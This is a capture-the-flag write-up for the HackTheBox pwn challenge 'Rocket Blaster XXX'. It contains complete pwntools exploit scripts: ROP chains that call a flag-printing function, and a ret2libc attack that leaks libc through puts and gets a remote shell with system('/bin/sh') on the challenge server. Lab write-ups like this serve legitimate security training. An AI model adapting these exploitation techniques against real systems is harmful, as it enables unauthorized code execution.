Rocket Blaster XXX
Rocket Blaster XXX
Platform: HackTheBox | Category: Pwn | Difficulty: Easy | Author: D3v0o0Nu11 | Date: 2026-02-10
Description
Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!
Solution Approach
Core idea: ROP gadgets. Manipulate return address.
Steps
- In this challenge we're given a 64 bit binary, dynamically linked, not stripped.
BINARY PROTECTIONS
-
Upon reviewing the decompiled code on ghidra, we can see the main() function only accepts 1 input then terminate the process.
-
Reviewing other functions, we noticed a function named
fill_ammowhich opens the flag file then print its content. -
Seems the objective here is to return to
fill_ammo. Noticed thefill_ammofunction accepts 3 params, those 3 also used for a checker. -
However since there is no canary and PIE is disabled, hence it's very easy for us to pwn the binary.
GET RIP OFFSET --> 40
- Next, let us search for useful gadgets.
- Popping 3 values to param, means we need RDI (as the 1st arg), RSI (as the 2nd arg), and RDX (as the 3rd arg).
CHECK FOR GADGETS
- Nice! The gadgets are available.
- We can do simple ROP then, here's the crafted script.
SCRIPT
from pwn import *
exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
### context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
sh = process(exe)
rop = ROP(elf)
p = flat([
cyclic(40),
rop.find_gadget([
'ret'
]).address,
rop.find_gadget([
'pop rdi',
'ret'
]).address,
0xdeadbeef,
rop.find_gadget([
'pop rsi',
'ret'
]).address,
0xdeadbabe,
rop.find_gadget([
'pop rdx',
'ret'
]).address,
0xdead1337,
elf.sym['fill_ammo']
])
sh.sendline(p)
sh.interactive()
REMOTE TEST
- As you can see, we got the flag!.
ALTERNATE SCRIPT (much shorter using ropstar).
from pwn import *
exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
### context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
### sh = process(exe)
sh = remote('94.237.54.176',59344)
rop = ROP(elf)
rop.call(rop.ret.address)
rop.fill_ammo(0xdeadbeef,0xdeadbabe,0xdead1337)
p = cyclic(40) + rop.chain()
sh.sendline(p)
sh.interactive()
GAINED RCE
- Remembering there is no canary, no PIE, and RDI is available. We can perform ret2libc here.
- Simply leak the printf@got address to calculate the libc base.
- Then execute another ROP to perform
system("/bin/sh"). - Here's the crafted script.
SCRIPT (RCE)
from pwn import *
exe = './rocket_blaster_xxx'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'
### context.log_level = 'DEBUG'
library = './glibc/libc.so.6'
libc = context.binary = ELF(library, checksec=False)
### sh = process(exe)
sh = remote('94.237.54.176',59344)
rop = ROP(elf)
p = flat([
cyclic(40),
rop.find_gadget(['pop rdi', 'ret'])[0],
elf.got['printf'],
elf.plt['puts'],
elf.sym['main']
])
sh.sendline(p)
sh.recvuntil(b'testing..')
sh.recvline()
leak = unpack(sh.recv(6) + b'\x00' * 2)
success(f'LIBC LEAK --> {hex(leak)}')
libc.address = leak - libc.sym['printf']
info(f'LIBC BASE --> {hex(libc.address)}')
p = flat([
cyclic(40),
rop.find_gadget(['ret']).address,
rop.find_gadget(['pop rdi', 'ret']).address,
next(libc.search(b'/bin/sh\x00')),
libc.sym['system']
])
sh.sendline(p)
sh.interactive()
- Nice! We've pwned it!
Flag
REDACTED
Lessons Learned
- ROP gadgets.
- Manipulate return address.
- Popping 3 gadgets.